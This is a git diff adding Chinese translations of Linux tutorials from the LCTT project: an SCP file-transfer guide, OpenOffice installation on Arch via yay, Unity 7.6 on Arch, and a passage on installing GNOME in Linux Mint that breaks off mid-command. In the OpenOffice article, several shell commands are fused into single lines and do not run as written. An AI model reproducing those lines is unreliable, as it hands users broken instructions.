+校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/lornajane +[b]: https://github.com/lkxed +[1]: https://www.writethedocs.org/guide/docs-as-code +[2]: https://opensource.com/article/17/9/docbook +[3]: http://commonmark.org +[4]: https://opensource.com/article/20/12/eclipse +[5]: https://opensource.com/article/21/10/markdown-editors +[6]: https://opensource.com/downloads/cheat-sheet-git +[7]: https://opensource.com/article/18/1/step-step-guide-git +[8]: https://opensource.com/article/19/4/write-git +[9]: https://opensource.com/article/21/11/linux-diff-patch +[10]: https://opensource.com/article/20/3/meld +[11]: https://www.redhat.com/sysadmin/linux-wc-command?intcmp=7013a000002qLH8AAM +[12]: https://opensource.com/downloads/grep-cheat-sheet +[13]: https://www.jenkins.io +[14]: https://www.redhat.com/sysadmin/git-hooks +[15]: https://opensource.com/article/18/3/start-blog-30-minutes-hugo +[16]: https://opensource.com/article/19/11/document-python-sphinx +[17]: https://vale.sh +[0]: https://img.linux.net.cn/data/attachment/album/202212/19/215600m3bzhqlu23lskssl.jpg \ No newline at end of file diff --git a/published/202212/20221103.6 ⭐️⭐️⭐️ How To Securely Transfer Files With SCP In Linux.md b/published/202212/20221103.6 ⭐️⭐️⭐️ How To Securely Transfer Files With SCP In Linux.md new file mode 100644 index 0000000000..bc00a197f5 --- /dev/null +++ b/published/202212/20221103.6 ⭐️⭐️⭐️ How To Securely Transfer Files With SCP In Linux.md @@ -0,0 +1,530 @@ +[#]: subject: "How To Securely Transfer Files With SCP In Linux" +[#]: via: "https://ostechnix.com/securely-transfer-files-with-scp-in-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15377-1.html" + +如何在 Linux 中使用 SCP 安全地传输文件 +====== + +![][0] + +在网络上文件传输可以通过各种不同的方式和协议来完成。**远程复制文件**最常用的协议是 **Rsync**、**SCP** 和 **SFTP**。在本文中,我们将了解**什么是 SCP** 以及如何在 Linux 和类 Unix 操作系统中**使用 SCP 在本地和远程计算机之间安全地传输文件**。 + +### 什么是 SCP? + +SCP,代表 安全复制Secure Copy,它是一个命令行程序,在 Linux 和类 Unix 操作系统中以安全的方式在本地和远程系统之间,或在两个远程系统之间复制文件和目录。 + +使用 `scp` 命令,你可以安全地复制文件或目录: + +- 从本地到远程系统 +- 从远程系统到本地 +- 在两个远程系统之间 + +使用 `scp` 命令传输数据时,文件和目录都是加密的。因此,即使网络被破坏,作恶者也无法获得任何有意义的数据。 + +SCP 是 openSSH 程序的一个组件,它使用 SSH 协议安全地传输文件。几乎所有现代 Linux 和 Unix 发行版都预装了 OpenSSH,所以不必费心安装它。 + +#### 提醒一句: + +根据 openSSH 开发人员的**官方公告**: + +> **scp 协议已经过时了**,它不灵活且不易修复。我们建议使用更现代的协议,如 `sftp` 和 `rsync` 来代替。 +> +> 参考 - [https://lists.mindrot.org/pipermail/openssh-unix-dev/2019-March/037672.html][1] + +但是,大多数用户仍然更喜欢 SCP 协议。因为,SCP 处理远程文件传输比同行 SFTP 和 Rsync 更快。 + +另外,SCP 的工作原理与 `cp` 命令完全相同,而 `rsync` 则会判断源目录是否有**结尾斜杠**而出现不同的行为。看一看下面的命令: + +- `rsync source destination/` - 将 `source` 目录复制到 `destination` 文件夹内。 +- `rsync source/ destination/` - 将 `source` 目录的内容复制到 `destination` 文件夹中。 + +所以,你必须反复检查是否在路径中添加了斜杠。 + +我个人使用 **[Rsync][2]** 在两台主机之间复制大文件,使用 SCP 在网络上复制单个文件。 + +### SCP 命令语法 + +SCP 的通用语法如下: + +``` +scp [-346ABCpqrTv] [-c cipher] [-F ssh_config] [-i identity_file] [-J destination] [-l limit] [-o ssh_option] [-P port] [-S program] source ... target +``` + +根据文件传输路径的不同,语法也会有所不同。这里我罗列了一些语法格式示例。 + +从本地复制一个文件到远程系统: + +``` +scp SourceFile User@RemoteHost:RemotePath +``` + +类似的,从本地系统复制一个目录到远程系统,使用 `-r` 参数: + +``` +scp -r SourceDirectory User@RemoteHost:RemotePath +``` + +复制多个文件到远程系统: + +``` +scp SourceFile1 SourceFile2 User@RemoteHost:RemotePath +``` + +远程系统复制文件到本地: + +``` +scp User@RemoteHost:RemoteFilePath DestinationFile +``` + +远程系统复制目录到本地: + +``` +scp -r User@RemoteHost:RemoteDirectoryPath DestinationDirectory +``` + +在本地将文件在两个远程系统之间复制: + +``` +scp User@RemoteHost1:RemoteFile1 User@RemoteHost2:RemotePath +``` + +注意,当你在两个远程系统之间复制文件时,流量不会通过本地系统。操作直接在两个远程系统之间进行。但是,你可以使用 `-3` 参数让流量经过你运行 `scp` 命令的系统。 + +从你的本地系统将一个远程系统的目录复制到另一个远程系统: + +``` +scp -r User@RemoteHost1:RemoteDirectory User@RemoteHost2:DestinationPath +``` + +### SCP 命令参数 + +SCP 命令最常用的参数有: + +- `-C`:启用压缩。`C` 代表 压缩Compression。使用此参数时,数据传输速度会更快,因为数据是压缩的。SCP 将自动在源系统上压缩,并在目标系统上解压缩。 +- `-c `:`c` 代表 加密Cipher。默认情况下,SCP 使用 **AES-128** 加密方法对数据进行加密。你可以使用 `-c` 参数更改加密方法。 +- `-i `:`i` 代表 身份Identity 文件或私钥。如你所知,SSH 中使用基于密码或密钥的身份验证。如果希望在传输文件时使用基于密钥的身份验证,可以使用 `-i` 参数指定身份文件或私钥。 +- `-l limit`:`l` 代表 限制Limit 带宽。通过此参数,可以设置传输数据的最大带宽。它的单位是 `Kbit/s`。 +- `-F `:有时你可能需要使用不同的网络来连接到 Linux 系统,或你有一个代理服务器,这种情况下,你可以使用 `-F` 参数使用不同的 `ssh_config` 文件File。 +- `-P port`:`P` 代表 端口Port。注意,这是大写的 `P`。默认情况下,SSH 使用端口 22。但出于安全原因,你可能已经更改了目标主机中的端口号。这种情况下,你应该使用 `-P` 参数显示指定新端口号。 +- `-p`:如果希望 保留Preserve 原始文件的修改时间、访问时间和模式,你需要使用 `-p` 参数。注意是小写 `p`。 +- `-r`:递归Recursively 复制整个目录。 +- `-B`:`B` 代表 批处理Batch 模式。它用于在传输文件时选择批处理模式。可以防止询问密码。 +- `-S program`:用于加密连接的 程序Program 名称。 +- `-v`:`v` 代表 详细Verbose。当使用 `-v` 参数时,命令将会在终端屏幕上打印进度。你会看到文件传输时到底发生了什么。它在调试连接、身份验证和配置问题时非常有用。 + +SCP 有很多参数,你可以查看它的手册页来了解其他参数。让我们看一些**有用的 scp 命令示例**。 + +### 开始前要记住的重要事项 + +- `scp` 命令依赖于 `ssh` 进行安全的文件传输。因此,你必须有一个 **ssh 密钥**或**密码**才能向远程系统进行身份验证。 +- 为了能传输文件,你必须对**源文件有读权限**,对**目标位置有写权限**。 +- `scp` 命令在写入前不会检查目标位置。目标位置中具有相同名称的任何文件都将被**覆盖而不通知**。 +- 为了能够区分本地和远程位置,使用**冒号**(`:`)。 +- 传输大文件时,建议在 **[Screen][3]** 或 **[Tmux][4]** 会话内启动任务。 + +### 在 Linux 中使用 SCP 传输文件 + +正如我所说,我们可以使用 `scp` 命令将文件或目录从本地复制到远程系统,反之亦然,或者在两台远程系统之间复制文件或目录。 + +#### 1. 使用 SCP 从本地系统复制文件到远程系统 + +使用 `scp` 命令将文件从本地复制到远程系统,运行: + +``` +$ scp File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +示例输出: + +``` +ostechnix@192.168.1.40's password: +File1.txt 100% 104 814.0KB/s 00:00 +``` + +让我们分析一下上面的命令,看看每个参数都做了什么。 + +- `File1.txt` - 源文件 +- `ostechnix` - 远程系统的用户名 +- `192.168.1.40` - 远程系统的 IP 地址 +- `/home/ostechnix/` - 远程系统中的目标目录。这是我们想要传输源文件的绝对路径,如 `File.txt`。 + +你还可以修改目标文件的名称。下面的命令将 `File1.txt` 传输到目的地,保存为 `myfile.txt`。 + +``` +$ scp File1.txt ostechnix@192.168.1.40:/home/ostechnix/myfile.txt +``` + +![将文件从本地复制到远程系统][5] + +#### 2. 使用 SCP 从本地系统复制多个文件到远程系统 + +使用 `scp` 命令将多个文件从本地系统传输到远程系统,运行: + +``` +$ scp File1.txt File2.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +示例输出: + +``` +ostechnix@192.168.1.40's password: +File1.txt 100% 104 689.4KB/s 00:00 +File2.txt 100% 496 6.3MB/s 00:00 +``` + +![从本地复制多个文件到远程系统][6] + +这里: + +- `File1.txt` 和 `File2.txt` - 源文件名 +- `ostechnix@192.168.1.40` - 远程系统的用户名和 IP 地址 +- `/home/ostechnix` - 目标文件的路径 + +如果文件具有相同的扩展名,你可以使用以下替代命令来实现相同的目标。 + +``` +$ scp {File1,File2}.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +或者, + +``` +$ scp *.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 3. 使用 SCP 从本地到远程系统递归复制目录 + +递归地将整个目录(包括子目录及其内容)从本地复制到远程系统,使用 `-r` 参数。 + +``` +$ scp -r Documents/ ostechnix@192.168.1.40:/home/ostechnix/ +``` + +![从本地复制目录到远程系统][7] + +上述命令将整个 `Documents` 目录包括其内容复制到目标系统。 + +其中, + +- `-r` - 递归复制文件和目录,包括子目录及其内容 +- `Documents` - 源目录名称 +- `ostechnix@192.168.1.40` - 远程系统的用户名和 IP 地址 +- `/home/ostechnix` - 目标目录的路径 + +#### 4. 用 SCP 将文件从远程系统传输到本地 + +还记得我们从本地系统复制了 `File1.txt` 到远程系统,让我们把它复制回本地。 + +使用 `scp` 命令从远程系统复制文件到本地,运行: + +``` +$ scp ostechnix@192.168.1.40:/home/ostechnix/File1.txt Downloads/ +``` + +其中 + +- `ostechnix@192.168.1.40` - 远程系统的用户名和 IP 地址 +- `/home/ostechnix/File.txt` - 远程系统文件的绝对路径 +- `Downloads` - 本地保存复制文件的位置 + +![从远程系统传输文件到本地][8] + +#### 5. 使用 SCP 将多个文件从远程系统传输到本地 + +将多个文件从远程系统复制到本地,在**花括号内**注明文件的绝对路径,如下所示: + +``` +$ scp ostechnix@192.168.1.40:/home/ostechnix/\{File1.txt,File2.txt\} Downloads/ +``` + +![将多个文件从远程系统传输到本地][9] + +上述命令将从远程系统的 `/home/ostechnix/` 目录中复制 `File1.txt` 和 `File2.txt` 到本地的 `Downloads` 目录中。 + +注意,**花括号内的逗号后面没有空格**。 + +#### 6. 从远程系统递归复制目录到本地 + +使用 `scp` 从远程系统递归复制整个目录(包括子目录及其内容)到本地系统,使用 `-r` 参数。 + +``` +$ scp -r ostechnix@192.168.1.40:/home/ostechnix/Documents Downloads/ +``` + +上述命令将从远程系统将整个 `Documents` 目录复制到本地的 `Downloads` 目录。 + +#### 7. 使用 SCP 在两台远程计算机之间复制文件 + +使用 `scp` 命令将文件从一个远程系统直接复制到另一个远程系统,运行: + +``` +$ scp senthil@192.168.1.40:/home/senthil/File1.txt kumar@192.168.1.20:/home/kumar/ +``` + +它会要求你输入两个远程系统的密码: + +其中, + +- `senthil@192.168.1.40` - 文件源端远程系统的用户名和 IP 地址 +- `/home/senthil/File1.txt` - 复制的文件名及其位置 +- `kumar@192.168.1.20` - 复制文件到目标端的用户名和 IP 地址 +- `/home/kumar` - 在目标端上保存复制文件的位置 + +上述命令将从远程主机 `192.168.1.40` 复制 `/home/senthil/File1.txt` 到 `192.168.1.20` 上的 `/home/kumar/` 目录。 + +在这种方法中,数据将直接从一个远程系统传输到另一个远程系统。如果你想通过本地机器路由流量,使用 `-3` 参数,如下所示: + +``` +$ scp -3 senthil@192.168.1.40:/home/senthil/File1.txt kumar@192.168.1.20:/home/kumar/ +``` + +#### 8. 使用 SCP 复制文件时启用压缩 + +到目前为止,我们在没有压缩的情况下传输了文件。现在我们将使用 `-C` 参数在传输文件时启用压缩。 + +``` +$ scp -C File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +`-C` 参数将在源端启用压缩,并在目标端自动解压数据。 + +通过启用压缩,可以显著提高文件复制或传输速度。 + +#### 9. 使用 SCP 传输文件时限制带宽 + +我们可以使用 `-l` 参数限制带宽。注意,最大带宽单位为 Kbits/s。1 Byte = 8 bit。因此,如果你想将带宽限制在 200KB/s,`-l` 的值将是 **1600**(200*8)。 + +``` +$ scp -l 1600 File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +这在传输大文件时非常有用,可以防止 SCP 限制带宽。 + +#### 10. 使用 SCP 复制文件时使用不同端口 + +作为系统管理员,出于安全原因,你可能在远程服务器上 [更改了 SSH 协议的默认端口][10]。这种情况下,你可以在传输文件时使用 `-P` 参数指定端口号。注意:大写的 `P`。 + +``` +$ scp -P 2022 File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 11. 使用 SCP 复制文件时使用不同的加密方法 + +默认情况下,SCP 使用 `AES-128` 对文件进行加密。如果你想使用不同的加密方法,使用 `c` 参数。 + +例如,如果你想使用 **3des-cbc** 加密方法,命令如下所示: + +``` +$ scp -c 3des-cbc File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +要查看支持的密码列表,执行: + +``` +$ ssh -Q cipher localhost | paste -d, -s - +``` + +示例输出: + +``` +3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com +``` + +#### 12. 在详细模式下使用 SCP 复制文件 + +如果你想知道使用 `scp` 复制文件时幕后发生了什么,你可以使用 `-v` 参数。使用详细模式传输文件时,终端上会显示执行 `scp` 命令执行的每一步过程。这在故障排除时很方便。 + +``` +$ scp -v File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +在详细模式下发送文件时,你将看到大量输出,如下所示: + +![在详细模式下使用 SCP 复制文件][11] + +#### 13. 在安静模式下使用 SCP 传输文件 + +我们可以使用 `-q` 参数在安静模式下传输文件。在安静模式下共享文件时,不会在输出中显示进度、警告或诊断信息。 + +``` +$ scp -q File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 14. 使用 SCP 传输文件时保留文件属性 + +使用 `-p` 参数可以保留文件修改时间、访问时间和模式等文件属性。注意,这是**小写的 p**。 + +``` +$ scp -p File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 15. 使用 SCP 复制文件时使用身份文件 + +SSH 同时支持基于密码和密钥的身份验证。密钥是 Linux 环境中使用最广泛的身份验证方法。 + +如果你想在传输文件时使用基于密钥的身份验证,使用 `-i` 参数指定身份文件或私钥。 + +``` +$ scp -i my_private_key.pem File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 16. 使用不同的 ssh 配置文件 + +在某些情况下,你需要使用不同的网络来连接到 Linux 系统,或你有一个代理服务器。这在情况下,你可以配合 `-F` 参数使用不同的 `ssh_config` 文件。 + +``` +$ scp -F /home/ostechnix/my_ssh_config File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 17. 使用 IPv4 或 IPv6 复制文件 + +在复制文件时,我们可以强制 SCP 只使用 IPv4 或 IPv6 地址。IPv4 网络添加 `-4` 参数,IPv6 网络添加 `-6` 参数可以实现这一点。 + +``` +$ scp -6 File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +### 常见问题 + +#### 问题 1:什么是 SCP? + +SCP 是一个命令行程序,旨在将文件和目录从本地系统安全地传输到远程系统,反之亦然,或者直接在两个远程系统之间传输。 + +#### 问题 2: 如何使用 SCP 将文件从本地复制到远程计算机? + +将文件从本地复制到远程系统,命令如下: + +``` +scp SourceFile.txt User@RemoteHost:/some/remote/directory +``` + +#### 问题 3:如何递归复制文件和目录? + +递归复制包含子目录的目录,使用 `-r` 参数: + +``` +scp -r /some/local/directory User@RemoteHost:/some/remote/directory +``` + +#### 问题 4:使用 SCP 可以传输多个文件吗? + +当然,只要用空格分隔源文件名即可。 + +从本地复制多个文件到远程: + +``` +scp file1.txt file2.txt file3.txt User@RemoteHost:/some/remote/directory +scp {file1,file2,file3}.txt User@RemoteHost:/some/remote/directory +scp *.txt User@RemoteHost:/some/remote/directory +``` + +从远程复制多个文件到本地: + +``` +scp User@RemoteHost:/some/remote/directory/\{file1.txt,file2.txt,file3.txt\} /some/local/directory +``` + +从一个远程系统复制多个文件到另一个远程系统: + +``` +$ scp User@RemoteHost1:/some/remote/directory/\{file1.txt,file2.txt,file3.txt\} User@RemoteHost2:/some/remote/directory/ +``` + +#### 问题 5:如何传输目录下的所有文件? + +传输整个目录,首先进入该目录: + +``` +cd dir_name +``` + +然后, + +``` +scp *.txt User@RemoteHost:/some/remote/directory +``` + +#### 问题 6:可以压缩文件吗? + +当然。使用 `-C` 压缩文件。文件会在源端压缩,在目标端自动解压缩。 + +``` +scp -C /some/large/file User@RemoteHost:/some/remote/directory +``` + +#### 问题 7:可以保留文件属性吗? + +保留原始文件的修改时间、访问时间和模式等文件属性,使用 `-p` 参数。 + +``` +scp -p file.txt User@RemoteHost:/some/remote/directory +``` + +#### 问题 8: 可以使用其他端口吗? + +当然。SCP 配合 `-P` 参数允许你使用其他端口。 + +``` +scp -P 2022 file.txt User@RemoteHost:/some/remote/directory +``` + +#### 问题 9: 可以使用不同的加密方法吗? + +当然。使用 `-c` 参数。 + +``` +scp -c 3des-cbc User@RemoteHost:/some/remote/directory +``` + +#### 问题 10: 如何列出 SSH 支持的加密方法? + +使用以下命令查看 SSH 和 SCP 支持的加密方法列表: + +``` +ssh -Q cipher localhost | paste -d, -s - +``` + +#### 问题 11:SCP 真的安全吗? + +当然,它用起来是完全安全的。SCP 和 openSSH 使用相同的 SSH 机制。传输的数据在源端加密,目标端解密。 + +#### 问题 12:可以从 Windows 系统传输文件到 Linux 吗? + +当然。使用 `PSCP` 程序将文件从 windows 传输到 Linux 平台,你也可以使用 `WinSCP`。 + +### 总结 + +在这篇全面指南中,我们了解了什么是 SCP,以及如何在 Linux 中使用 **SCP 安全地传输文件**,其中包括 **17 个 SCP 命令示例**,另外还回答了关于 SCP 的常见问题。 + +无论你是 Linux 管理人员、开发人员还是普通用户,你都会面临某个时候将文件复制到远程系统或从远程系统复制文件的情况,知道如何**使用 SCP 安全地复制文件**将是非常有用的。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/securely-transfer-files-with-scp-in-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://lists.mindrot.org/pipermail/openssh-unix-dev/2019-March/037672.html +[2]: https://ostechnix.com/linux-rsync-command-examples-for-beginners/ +[3]: https://ostechnix.com/screen-command-examples-to-manage-multiple-terminal-sessions/ +[4]: https://ostechnix.com/tmux-command-examples-to-manage-multiple-terminal-sessions/ +[5]: https://ostechnix.com/wp-content/uploads/2022/11/Copy-Files-from-Local-System-to-Remote-System.png +[6]: https://ostechnix.com/wp-content/uploads/2022/11/Copy-Multiple-Files-from-Local-System-to-Remote-System.png +[7]: https://ostechnix.com/wp-content/uploads/2022/11/Copy-Directory-from-Local-System-to-Remote-System.png +[8]: https://ostechnix.com/wp-content/uploads/2022/11/Transfer-Files-from-Remote-System-to-Local-System.png +[9]: https://ostechnix.com/wp-content/uploads/2022/11/Transfer-Multiple-Files-from-Remote-System-to-Local-System.png +[10]: https://ostechnix.com/how-to-change-apache-ftp-and-ssh-default-port-to-a-custom-port-part-3/ +[11]: https://ostechnix.com/wp-content/uploads/2022/11/Copying-Files-with-SCP-in-Verbose-Mode.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/24/152224vy4glx9x39mtth9b.jpg \ No newline at end of file diff --git a/published/202212/20221107.5 ⭐️ How to Install OpenOffice in Arch Linux [Beginner’s Guide].md b/published/202212/20221107.5 ⭐️ How to Install OpenOffice in Arch Linux [Beginner’s Guide].md new file mode 100644 index 0000000000..ed68a3711c --- /dev/null +++ b/published/202212/20221107.5 ⭐️ How to Install OpenOffice in Arch Linux [Beginner’s Guide].md @@ -0,0 +1,87 @@ +[#]: subject: "How to Install OpenOffice in Arch Linux [Beginner’s Guide]" +[#]: via: "https://www.debugpoint.com/install-openoffice-arch/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15308-1.html" + +如何在 Arch Linux 中安装 OpenOffice(新手指南) +====== + +![][0] + +> 在 Arch Linux 及其衍生版中安装 OpenOffice 的初学者指南。 + +[OpenOffice][1] 是最古老的自由开源的办公生产力套件,已经维护了一段时间。它是由 Apache 开发,尽管它已经被分叉为 LibreOffice,但仍然是一个受欢迎的套件。 + +本教程适用于那些想要安装 OpenOffice 以满足工作和其他需要的人。 + +**注意**:在安装之前,请记住许多更新的功能和与微软 Office 的兼容性在 OpenOffice 中并未得到完全支持。如果你想要更现代的 Office 套件版本,请尝试 [LibreOffice][2]。 + +### 在 Arch Linux 中安装 OpenOffice + +[OpenOffice 软件包][3] 在 Arch 用户仓库中可用。因此,要安装它,你需要使用 AUR 助手程序。这是你需要做的。按照下面提到的步骤安装 Yay AUR 助手。如果你想了解有关 Yay 的更多信息,请参阅 [此处提供][4] 的详细指南。 + +依次运行以下命令来安装基本包并克隆 Yay: + +``` +sudo pacman -S base-develsudo pacman -S gitcd /optsudo git clone https://aur.archlinux.org/yay.git +``` + +通过将 `debugpoint` 替换为你的 Arch 系统的用户名来运行以下命令: + +``` +sudo chown -R debugpoint:users ./yay +``` + +最后,使用以下命令安装 AUR 助手: + +``` +cd yaymakepkg -si +``` + +完成后,使用以下命令安装 OpenOffice: + +``` +yay -S openoffice-bin +``` + +![通过 Yay 助手在 Arch Linux 中安装 OpenOffice][5] + +按照屏幕上的说明进行操作。安装后,你可以在应用菜单中找到它,如下图所示。 + +启动 OpenOffice 并将你的姓名和详细信息添加到启动向导中,你就可以使用了。 + +![Arch Linux 应用菜单 (XFCE) 中的 OpenOffice][6] + +![在 Arch Linux 中运行的最新 OpenOffice][7] + +### 总结 + +使用上述方法,你还可以在 Majnaro 和其他基于 Arch Linux 的发行版中安装 OpenOffice。尽管它是一个较旧的办公生产力套件,但你应该记住,它并不完全兼容现代微软 Office 文档类型(例如 docx、xlsx)。 + +如果你在安装过程中遇到任何错误,请在下面的评论栏中给我们留言。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-openoffice-arch/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.openoffice.org/ +[2]: https://www.debugpoint.com/install-latest-libreoffice-ubuntu-linux/ +[3]: https://aur.archlinux.org/packages/openoffice-bin +[4]: https://www.debugpoint.com/install-yay-arch/ +[5]: https://www.debugpoint.com/wp-content/uploads/2022/11/Install-OpenOffice-in-Arch-Linux-via-Yay-helper.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/11/OpenOffice-in-Arch-Linux-Application-Menu-XFCE.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/11/Latest-OpenOffice-running-in-Arch-Linux.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202212/01/151227rcrfy8marckyftyg.jpg \ No newline at end of file diff --git a/published/202212/20221115.0 ⭐️ You Can Now Install Unity 7.6 Desktop on Arch Linux.md b/published/202212/20221115.0 ⭐️ You Can Now Install Unity 7.6 Desktop on Arch Linux.md new file mode 100644 index 0000000000..61b8645189 --- /dev/null +++ b/published/202212/20221115.0 ⭐️ You Can Now Install Unity 7.6 Desktop on Arch Linux.md @@ -0,0 +1,79 @@ +[#]: subject: "You Can Now Install Unity 7.6 Desktop on Arch Linux" +[#]: via: "https://news.itsfoss.com/unity-arch-linux/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15316-1.html" + +你现在可以在 Arch Linux 上安装 Unity 7.6 桌面了 +====== + +> 想在 Arch Linux 上试试 Unity 吗?现在可以了! + +![](https://news.itsfoss.com/content/images/size/w2000/2022/11/unity-on-arch-linux.png) + +Unity Desktop 是由 Canonical 构建的经典桌面环境,它从 2010 年到 2017 年是 Ubuntu 的一部分,但为了支持 GNOME 而放弃。 + +我们认为它永远被杀死了。但它卷土重来。 + +今年早些时候,自 2016 年 5 月上次更新以来,经过长达 6 年的时间,Unity 的改进版本发布了。 + +开发由一位年轻的开发人员 [Rudra Saraswat][1] 带头,他也是 [Ubuntu Unity][1] 的创建者,它现在是 Ubuntu 的官方版本。 + +Unity 7.6 的发布标志着大量改进的到来。 + +而且,更进一步,Unity 7.6 已可用于 Arch Linux。开发者提到: + +> 此移植基于 chenxiaolong (于 2011-2016 年维护)的早期成果 Unity-for-Arch。 + +### 在 Arch Linux 上试用 Unity 7.6 + +![unity on arch linux][2] + +首先,你必须确保你已经安装了 Arch Linux。 + +然后你可以按照以下步骤在 Arch Linux 上运行 Unity 7.6: + +安装 [Paru][3],它是一个 AUR 助手。 + +使用 `paru -S unity-installer-arch` 安装名为 `unity-installer-arch` 的脚本。 + +在 TTY/终端窗口中运行 `unity-installer-arch`。 + +选择 “安装 Unity 桌面Install Unity desktop”。 + +将默认显示管理器更改为 `lightdm`。 + +使用 `unity-greeter` 作为默认登录界面。 + +我的同事 Sreenath 尝试了一下,在安装过程中,由于多重依赖冲突,他不得不从全新的 Arch 开始。 + +对你来说可能有所不同,但请记住这一点。如果你不想花时间在这上面,你可能想试试 [Ubuntu Unity][4]。 + +### 总结 + +对于 Unity 桌面爱好者来说,这是一件好事。更多发行版可能会考虑使用带有 Unity 桌面的变体。 + +你想让那发生吗? + +💬 你是 Unity 桌面的用户吗?想试试看么?在评论区分享你的观点。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/unity-arch-linux/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://about.ruds.io +[2]: https://news.itsfoss.com/content/images/2022/11/unity_for_arch.jpg +[3]: https://itsfoss.com/paru-aur-helper/ +[4]: https://ubuntuunity.org diff --git a/published/202212/20221116.0 ⭐️⭐️ How to Install GNOME Desktop Environment in Linux Mint.md b/published/202212/20221116.0 ⭐️⭐️ How to Install GNOME Desktop Environment in Linux Mint.md new file mode 100644 index 0000000000..f521aaceed --- /dev/null +++ b/published/202212/20221116.0 ⭐️⭐️ How to Install GNOME Desktop Environment in Linux Mint.md @@ -0,0 +1,119 @@ +[#]: subject: "How to Install GNOME Desktop Environment in Linux Mint" +[#]: via: "https://itsfoss.com/install-gnome-linux-mint/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15350-1.html" + +如何在 Linux Mint 上安装 GNOME 桌面环境 +====== + +![][0] + +Linux Mint 是一款极好的 Linux 发行版,特别适合初学者。 + +我喜欢它仍然保持常见的 Ubuntu/Debian 习惯,但是它还做了一些 [比 Ubuntu 更好的][1] 工作,其中之一就是它没有使用 Snap。 + +然而,我不是 Cinnamon 桌面环境的粉丝,因为我从来没有真正地喜欢过 Windows XP 或 7 的默认设置。 + +当我寻求保持 Linux Mint 稳定的同时而提供 GNOME 的能力时,这便是我最终获得的结果: + +![install gnome in linux mint][2] + +不太炫,这就是我运行 GNOME 42.5 的 Linux Mint 21 。 + +如果你想在 Linux Mint 上安装 GNOME ,那么这篇指南非常适合你。 + +### 在 Linux Mint 上安装GNOME 之前所要知道的事 + +要在 Mint 上安装 GNOME,你务必需要有足够的理由。如果你只是为了尝鲜,可以在虚拟机中尝试。我使用 [在 VirtualBox 中安装的 Linux Mint][3] 来演示这篇教程。 + +安装除发行版提供的桌面环境之外的其他桌面环境,移除桌面环境部分会使其变成一件很复杂的事。 + +Cinnamon 使用了一些 GNOME 元素。如果你决定稍后移除 GNOME ,这可能会影响到 Cinnamon 的一部分功能。 + +这可能会导致缺少实战经验用户的恐慌。当然,在 TTY 屏幕中重新安装 Cinnamon 桌面环境可能是一种可行的解决方案。 + +最重要的一点是,如果你很容易惊慌地不知所措和不喜欢解决难题,那么你就不应该在你的主力计算机上做这些 “试验” 。 + +抛开这些顾虑,让我们看看在 Linux Mint 上获取 GNOME 的简单过程。 + +### 在 Linux Mint 上安装 GNOME 桌面环境 + +在这里,你有两个选项:1、你可以使用包含所有的 GNOME 实用程序的完整的 GNOME 桌面,2、你也可以使用包含极少数软件包的 GNOME 精简版本。 + +我都将讲解一下。 + +为 **安装精简版本的 GNOME** ,你需要安装一个名称为 `vanilla-gnome-desktop` 的软件包,使用下面给定的命令: + +``` +sudo apt install vanilla-gnome-desktop +``` + +**如果你想要完整的 GNOME 体验** ,你可以简单地安装 `gnome` 软件包: + +``` +sudo 